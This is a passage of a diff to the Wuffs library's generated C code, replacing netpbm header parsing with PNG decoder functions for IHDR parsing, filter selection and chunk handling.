png.decoder.decode_ihdr - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_netpbm__decoder__do_decode_image_config( -- wuffs_netpbm__decoder* self, -- wuffs_base__image_config* a_dst, -+wuffs_png__decoder__decode_ihdr( -+ wuffs_png__decoder* self, - wuffs_base__io_buffer* a_src) { - wuffs_base__status status = wuffs_base__make_status(NULL); - -- uint8_t v_c = 0; -- uint32_t v_n = 0; -+ uint32_t v_a32 = 0; -+ uint8_t v_a8 = 0; - - const uint8_t* iop_a_src = NULL; - const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -@@ -49918,348 +63061,343 @@ wuffs_netpbm__decoder__do_decode_image_config( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config[0]; -+ uint32_t coro_susp_point = self->private_impl.p_decode_ihdr; - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- if (self->private_impl.f_call_sequence != 0u) { -- status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ uint32_t t_0; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_0 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_decode_ihdr.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_decode_ihdr.scratch; -+ uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); -+ if (num_bits_0 == 24) { -+ t_0 = ((uint32_t)(*scratch >> 32)); -+ break; -+ } -+ num_bits_0 += 8u; -+ *scratch |= ((uint64_t)(num_bits_0)); -+ } -+ } -+ v_a32 = t_0; -+ } -+ if ((v_a32 == 0u) || (v_a32 > 2147483647u)) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_header); -+ goto exit; -+ } else if (v_a32 > 16777215u) { -+ status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); - goto exit; - } -+ self->private_impl.f_width = v_a32; - { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ uint32_t t_1; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_1 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_decode_ihdr.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_decode_ihdr.scratch; -+ uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); -+ if (num_bits_1 == 24) { -+ t_1 = ((uint32_t)(*scratch >> 32)); -+ break; -+ } -+ num_bits_1 += 8u; -+ *scratch |= ((uint64_t)(num_bits_1)); -+ } -+ } -+ v_a32 = t_1; -+ } -+ if ((v_a32 == 0u) || (v_a32 > 2147483647u)) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_header); -+ goto exit; -+ } else if (v_a32 > 16777215u) { -+ status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); -+ goto exit; -+ } -+ self->private_impl.f_height = v_a32; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- uint8_t t_0 = *iop_a_src++; -- v_c = t_0; -+ uint8_t t_2 = *iop_a_src++; -+ v_a8 = t_2; - } -- if (v_c != 80u) { -- status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); -+ if (v_a8 > 16u) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_header); - goto exit; - } -+ self->private_impl.f_depth = v_a8; - { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- uint8_t t_1 = *iop_a_src++; -- v_c = t_1; -+ uint8_t t_3 = *iop_a_src++; -+ v_a8 = t_3; - } -- if ((v_c < 49u) || (55u < v_c)) { -- status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); -- goto exit; -- } else if (v_c == 53u) { -- self->private_impl.f_pixfmt = 536870920u; -- } else if (v_c == 54u) { -- self->private_impl.f_pixfmt = 2684356744u; -- } else { -- status = wuffs_base__make_status(wuffs_netpbm__error__unsupported_netpbm_file); -+ if ((v_a8 == 1u) || (v_a8 == 5u) || (v_a8 > 6u)) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_header); - goto exit; - } -+ self->private_impl.f_color_type = v_a8; - { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- uint8_t t_2 = *iop_a_src++; -- v_c = t_2; -+ uint8_t t_4 = *iop_a_src++; -+ v_a8 = t_4; - } -- if (v_c != 10u) { -- status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); -+ if (v_a8 != 0u) { -+ status = wuffs_base__make_status(wuffs_png__error__unsupported_png_compression_method); - goto exit; - } -- while (true) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_3 = *iop_a_src++; -- v_c = t_3; -- } -- if ((v_c == 32u) || (v_c == 9u)) { -- continue; -- } else if (v_c == 35u) { -- while (true) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_4 = *iop_a_src++; -- v_c = t_4; -- } -- if (v_c == 10u) { -- break; -- } -- } -- continue; -- } else if ((v_c < 48u) || (57u < v_c)) { -- status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); -- goto exit; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; - } -- self->private_impl.f_width = ((uint32_t)((v_c - 48u))); -- break; -+ uint8_t t_5 = *iop_a_src++; -+ v_a8 = t_5; - } -- while (true) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_5 = *iop_a_src++; -- v_c = t_5; -- } -- if ((v_c == 32u) || (v_c == 9u)) { -- break; -- } else if ((v_c < 48u) || (57u < v_c)) { -- status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); -- goto exit; -- } -- v_n = ((10u * self->private_impl.f_width) + ((uint32_t)((v_c - 48u)))); -- if (v_n > 16777215u) { -- status = wuffs_base__make_status(wuffs_netpbm__error__unsupported_netpbm_file); -- goto exit; -- } -- self->private_impl.f_width = v_n; -+ if (v_a8 != 0u) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_header); -+ goto exit; - } -- while (true) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_6 = *iop_a_src++; -- v_c = t_6; -- } -- if ((v_c == 32u) || (v_c == 9u)) { -- continue; -- } else if (v_c == 35u) { -- while (true) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_7 = *iop_a_src++; -- v_c = t_7; -- } -- if (v_c == 10u) { -- break; -- } -- } -- continue; -- } else if ((v_c < 48u) || (57u < v_c)) { -- status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); -- goto exit; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; - } -- self->private_impl.f_height = ((uint32_t)((v_c - 48u))); -- break; -+ uint8_t t_6 = *iop_a_src++; -+ v_a8 = t_6; - } -- while (true) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_8 = *iop_a_src++; -- v_c = t_8; -- } -- if ((v_c == 32u) || (v_c == 9u) || (v_c == 13u)) { -- continue; -- } else if (v_c == 10u) { -- break; -- } else if ((v_c < 48u) || (57u < v_c)) { -- status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); -- goto exit; -- } -- v_n = ((10u * self->private_impl.f_height) + ((uint32_t)((v_c - 48u)))); -- if (v_n > 16777215u) { -- status = wuffs_base__make_status(wuffs_netpbm__error__unsupported_netpbm_file); -- goto exit; -- } -- self->private_impl.f_height = v_n; -+ if (v_a8 == 0u) { -+ self->private_impl.f_interlace_pass = 0u; -+ } else if (v_a8 == 1u) { -+ self->private_impl.f_interlace_pass = 1u; -+ self->private_impl.choosy_filter_and_swizzle = ( -+ &wuffs_png__decoder__filter_and_swizzle_tricky); -+ } else { -+ status = wuffs_base__make_status(wuffs_png__error__bad_header); -+ goto exit; - } -- while (true) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_9 = *iop_a_src++; -- v_c = t_9; -- } -- if ((v_c == 32u) || (v_c == 9u)) { -- continue; -- } else if (v_c == 35u) { -- while (true) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_10 = *iop_a_src++; -- v_c = t_10; -- } -- if (v_c == 10u) { -- break; -- } -- } -- continue; -- } else if ((v_c < 48u) || (57u < v_c)) { -- status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); -- goto exit; -- } -- self->private_impl.f_max_value = ((uint32_t)((v_c - 48u))); -- break; -+ self->private_impl.f_filter_distance = 0u; -+ wuffs_png__decoder__assign_filter_distance(self); -+ if (self->private_impl.f_filter_distance == 0u) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_header); -+ goto exit; - } -- while (true) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_11 = *iop_a_src++; -- v_c = t_11; -- } -- if ((v_c == 32u) || (v_c == 9u) || (v_c == 13u)) { -- continue; -- } else if (v_c == 10u) { -- break; -- } else if ((v_c < 48u) || (57u < v_c)) { -- status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); -- goto exit; -- } -- v_n = ((10u * self->private_impl.f_max_value) + ((uint32_t)((v_c - 48u)))); -- if (v_n > 16777215u) { -- status = wuffs_base__make_status(wuffs_netpbm__error__unsupported_netpbm_file); -- goto exit; -+ self->private_impl.f_overall_workbuf_length = (((uint64_t)(self->private_impl.f_height)) * (1u + wuffs_png__decoder__calculate_bytes_per_row(self, self->private_impl.f_width))); -+ wuffs_png__decoder__choose_filter_implementations(self); -+ -+ goto ok; -+ ok: -+ self->private_impl.p_decode_ihdr = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_ihdr = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ return status; -+} -+ -+// -------- func png.decoder.assign_filter_distance -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_png__decoder__assign_filter_distance( -+ wuffs_png__decoder* self) { -+ if (self->private_impl.f_depth < 8u) { -+ if ((self->private_impl.f_depth != 1u) && (self->private_impl.f_depth != 2u) && (self->private_impl.f_depth != 4u)) { -+ return wuffs_base__make_empty_struct(); -+ } else if (self->private_impl.f_color_type == 0u) { -+ self->private_impl.f_dst_pixfmt = 536870920u; -+ self->private_impl.f_src_pixfmt = 536870920u; -+ } else if (self->private_impl.f_color_type == 3u) { -+ self->private_impl.f_dst_pixfmt = 2198077448u; -+ self->private_impl.f_src_pixfmt = 2198077448u; -+ } else { -+ return wuffs_base__make_empty_struct(); -+ } -+ self->private_impl.f_filter_distance = 1u; -+ self->private_impl.choosy_filter_and_swizzle = ( -+ &wuffs_png__decoder__filter_and_swizzle_tricky); -+ } else if (self->private_impl.f_color_type == 0u) { -+ if (self->private_impl.f_depth == 8u) { -+ self->private_impl.f_dst_pixfmt = 536870920u; -+ self->private_impl.f_src_pixfmt = 536870920u; -+ self->private_impl.f_filter_distance = 1u; -+ } else if (self->private_impl.f_depth == 16u) { -+ if (self->private_impl.f_interlace_pass == 0u) { -+ self->private_impl.f_dst_pixfmt = 536870923u; -+ self->private_impl.f_src_pixfmt = 537919499u; -+ } else { -+ self->private_impl.f_dst_pixfmt = 2164308923u; -+ self->private_impl.f_src_pixfmt = 2164308923u; - } -- self->private_impl.f_max_value = v_n; -+ self->private_impl.f_filter_distance = 2u; - } -- if (self->private_impl.f_max_value != 255u) { -- status = wuffs_base__make_status(wuffs_netpbm__error__unsupported_netpbm_file); -- goto exit; -+ } else if (self->private_impl.f_color_type == 2u) { -+ if (self->private_impl.f_depth == 8u) { -+ self->private_impl.f_dst_pixfmt = 2147485832u; -+ self->private_impl.f_src_pixfmt = 2684356744u; -+ self->private_impl.f_filter_distance = 3u; -+ } else if (self->private_impl.f_depth == 16u) { -+ self->private_impl.f_dst_pixfmt = 2164308923u; -+ self->private_impl.f_src_pixfmt = 2164308923u; -+ self->private_impl.f_filter_distance = 6u; -+ self->private_impl.choosy_filter_and_swizzle = ( -+ &wuffs_png__decoder__filter_and_swizzle_tricky); - } -- self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); -- if (a_dst != NULL) { -- wuffs_base__image_config__set( -- a_dst, -- self->private_impl.f_pixfmt, -- 0u, -- self->private_impl.f_width, -- self->private_impl.f_height, -- self->private_impl.f_frame_config_io_position, -- false); -+ } else if (self->private_impl.f_color_type == 3u) { -+ if (self->private_impl.f_depth == 8u) { -+ self->private_impl.f_dst_pixfmt = 2198077448u; -+ self->private_impl.f_src_pixfmt = 2198077448u; -+ self->private_impl.f_filter_distance = 1u; -+ } -+ } else if (self->private_impl.f_color_type == 4u) { -+ if (self->private_impl.f_depth == 8u) { -+ self->private_impl.f_dst_pixfmt = 553648264u; -+ self->private_impl.f_src_pixfmt = 553648264u; -+ self->private_impl.f_filter_distance = 2u; -+ } else if (self->private_impl.f_depth == 16u) { -+ self->private_impl.f_dst_pixfmt = 2164308923u; -+ self->private_impl.f_src_pixfmt = 2164308923u; -+ self->private_impl.f_filter_distance = 4u; -+ self->private_impl.choosy_filter_and_swizzle = ( -+ &wuffs_png__decoder__filter_and_swizzle_tricky); -+ } -+ } else if (self->private_impl.f_color_type == 6u) { -+ if (self->private_impl.f_depth == 8u) { -+ self->private_impl.f_dst_pixfmt = 2164295816u; -+ self->private_impl.f_src_pixfmt = 2701166728u; -+ self->private_impl.f_filter_distance = 4u; -+ } else if (self->private_impl.f_depth == 16u) { -+ self->private_impl.f_dst_pixfmt = 2164308923u; -+ self->private_impl.f_src_pixfmt = 2164308923u; -+ self->private_impl.f_filter_distance = 8u; -+ self->private_impl.choosy_filter_and_swizzle = ( -+ &wuffs_png__decoder__filter_and_swizzle_tricky); - } -- self->private_impl.f_call_sequence = 32u; -- -- goto ok; -- ok: -- self->private_impl.p_do_decode_image_config[0] = 0; -- goto exit; -- } -- -- goto suspend; -- suspend: -- self->private_impl.p_do_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- -- goto exit; -- exit: -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -- -- return status; -+ return wuffs_base__make_empty_struct(); - } - --// -------- func netpbm.decoder.decode_frame_config -+// -------- func png.decoder.calculate_bytes_per_row - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_netpbm__decoder__decode_frame_config( -- wuffs_netpbm__decoder* self, -- wuffs_base__frame_config* a_dst, -- wuffs_base__io_buffer* a_src) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -- if (!a_src) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -- } -- if ((self->private_impl.active_coroutine != 0) && -- (self->private_impl.active_coroutine != 2)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -- } -- self->private_impl.active_coroutine = 0; -- wuffs_base__status status = wuffs_base__make_status(NULL); -- -- wuffs_base__status v_status = wuffs_base__make_status(NULL); -- -- uint32_t coro_susp_point = self->private_impl.p_decode_frame_config[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -- -- while (true) { -- { -- wuffs_base__status t_0 = wuffs_netpbm__decoder__do_decode_frame_config(self, a_dst, a_src); -- v_status = t_0; -- } -- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -- status = wuffs_base__make_status(wuffs_netpbm__error__truncated_input); -- goto exit; -- } -- status = v_status; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -- } -+static uint64_t -+wuffs_png__decoder__calculate_bytes_per_row( -+ const wuffs_png__decoder* self, -+ uint32_t a_width) { -+ uint64_t v_bytes_per_channel = 0; - -- ok: -- self->private_impl.p_decode_frame_config[0] = 0; -- goto exit; -+ if (self->private_impl.f_depth == 1u) { -+ return ((uint64_t)(((a_width + 7u) / 8u))); -+ } else if (self->private_impl.f_depth == 2u) { -+ return ((uint64_t)(((a_width + 3u) / 4u))); -+ } else if (self->private_impl.f_depth == 4u) { -+ return ((uint64_t)(((a_width + 1u) / 2u))); - } -+ v_bytes_per_channel = ((uint64_t)(((uint8_t)(self->private_impl.f_depth >> 3u)))); -+ return (((uint64_t)(a_width)) * v_bytes_per_channel * ((uint64_t)(WUFFS_PNG__NUM_CHANNELS[self->private_impl.f_color_type]))); -+} - -- goto suspend; -- suspend: -- self->private_impl.p_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; -+// -------- func png.decoder.choose_filter_implementations - -- goto exit; -- exit: -- if (wuffs_base__status__is_error(&status)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_png__decoder__choose_filter_implementations( -+ wuffs_png__decoder* self) { -+ if (self->private_impl.f_filter_distance == 3u) { -+ self->private_impl.choosy_filter_1 = ( -+ &wuffs_png__decoder__filter_1_distance_3_fallback); -+ self->private_impl.choosy_filter_3 = ( -+ &wuffs_png__decoder__filter_3_distance_3_fallback); -+ self->private_impl.choosy_filter_4 = ( -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) -+ wuffs_base__cpu_arch__have_arm_neon() ? &wuffs_png__decoder__filter_4_distance_3_arm_neon : -+#endif -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+ wuffs_base__cpu_arch__have_x86_sse42() ? &wuffs_png__decoder__filter_4_distance_3_x86_sse42 : -+#endif -+ &wuffs_png__decoder__filter_4_distance_3_fallback); -+ } else if (self->private_impl.f_filter_distance == 4u) { -+ self->private_impl.choosy_filter_1 = ( -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) -+ wuffs_base__cpu_arch__have_arm_neon() ? &wuffs_png__decoder__filter_1_distance_4_arm_neon : -+#endif -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+ wuffs_base__cpu_arch__have_x86_sse42() ? &wuffs_png__decoder__filter_1_distance_4_x86_sse42 : -+#endif -+ &wuffs_png__decoder__filter_1_distance_4_fallback); -+ self->private_impl.choosy_filter_3 = ( -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) -+ wuffs_base__cpu_arch__have_arm_neon() ? &wuffs_png__decoder__filter_3_distance_4_arm_neon : -+#endif -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+ wuffs_base__cpu_arch__have_x86_sse42() ? &wuffs_png__decoder__filter_3_distance_4_x86_sse42 : -+#endif -+ &wuffs_png__decoder__filter_3_distance_4_fallback); -+ self->private_impl.choosy_filter_4 = ( -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) -+ wuffs_base__cpu_arch__have_arm_neon() ? &wuffs_png__decoder__filter_4_distance_4_arm_neon : -+#endif -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+ wuffs_base__cpu_arch__have_x86_sse42() ? &wuffs_png__decoder__filter_4_distance_4_x86_sse42 : -+#endif -+ &wuffs_png__decoder__filter_4_distance_4_fallback); - } -- return status; -+ return wuffs_base__make_empty_struct(); - } - --// -------- func netpbm.decoder.do_decode_frame_config -+// -------- func png.decoder.decode_other_chunk - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_netpbm__decoder__do_decode_frame_config( -- wuffs_netpbm__decoder* self, -- wuffs_base__frame_config* a_dst, -- wuffs_base__io_buffer* a_src) { -+wuffs_png__decoder__decode_other_chunk( -+ wuffs_png__decoder* self, -+ wuffs_base__io_buffer* a_src, -+ bool a_framy) { - wuffs_base__status status = wuffs_base__make_status(NULL); - - const uint8_t* iop_a_src = NULL; -@@ -50273,62 +63411,218 @@ wuffs_netpbm__decoder__do_decode_frame_config( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config[0]; -+ uint32_t coro_susp_point = self->private_impl.p_decode_other_chunk; - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- if (self->private_impl.f_call_sequence == 32u) { -- } else if (self->private_impl.f_call_sequence < 32u) { -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ if ((self->private_impl.f_chunk_type == 1163152464u) && ! a_framy) { -+ if (self->private_impl.f_seen_plte) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; -+ } else if (self->private_impl.f_color_type == 3u) { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ status = wuffs_png__decoder__decode_plte(self, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ } else if ((self->private_impl.f_color_type == 2u) || (self->private_impl.f_color_type == 6u)) { -+ } else { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; - } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- status = wuffs_netpbm__decoder__do_decode_image_config(self, NULL, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ self->private_impl.f_seen_plte = true; -+ } else if ((self->private_impl.f_chunk_type & 32u) == 0u) { -+ if (self->private_impl.f_chunk_type != 1413563465u) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; - } -- if (status.repr) { -- goto suspend; -+ } -+ if (self->private_impl.f_chunk_type == 1716082789u) { -+ if (self->private_impl.f_report_metadata_exif) { -+ if (self->private_impl.f_seen_exif) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; -+ } -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ status = wuffs_png__decoder__decode_exif(self, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ self->private_impl.f_seen_exif = true; - } -- } else if (self->private_impl.f_call_sequence == 40u) { -- if (self->private_impl.f_frame_config_io_position != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { -- status = wuffs_base__make_status(wuffs_base__error__bad_restart); -- goto exit; -+ } else if ((self->private_impl.f_chunk_type == 1951945833u) || (self->private_impl.f_chunk_type == 1951942004u) || (self->private_impl.f_chunk_type == 1951945850u)) { -+ if (self->private_impl.f_report_metadata_kvp) { -+ self->private_impl.f_metadata_flavor = 4u; -+ self->private_impl.f_metadata_fourcc = 1263947851u; -+ self->private_impl.f_metadata_x = 0u; -+ self->private_impl.f_metadata_y = 0u; -+ self->private_impl.f_metadata_z = 0u; -+ } -+ } else if ( ! a_framy) { -+ if (self->private_impl.f_chunk_type == 1280598881u) { -+ if (self->private_impl.f_seen_actl) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; -+ } -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ status = wuffs_png__decoder__decode_actl(self, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ self->private_impl.f_seen_actl = true; -+ } else if (self->private_impl.f_chunk_type == 1297238115u) { -+ if (self->private_impl.f_report_metadata_chrm) { -+ if (self->private_impl.f_seen_chrm) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; -+ } -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ status = wuffs_png__decoder__decode_chrm(self, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ self->private_impl.f_seen_chrm = true; -+ } -+ } else if (self->private_impl.f_chunk_type == 1280598886u) { -+ if (self->private_impl.f_seen_fctl) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; -+ } -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -+ status = wuffs_png__decoder__decode_fctl(self, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ self->private_impl.f_seen_fctl = true; -+ } else if (self->private_impl.f_chunk_type == 1095582055u) { -+ if (self->private_impl.f_report_metadata_gama) { -+ if (self->private_impl.f_seen_gama) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; -+ } -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -+ status = wuffs_png__decoder__decode_gama(self, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ self->private_impl.f_seen_gama = true; -+ } -+ } else if 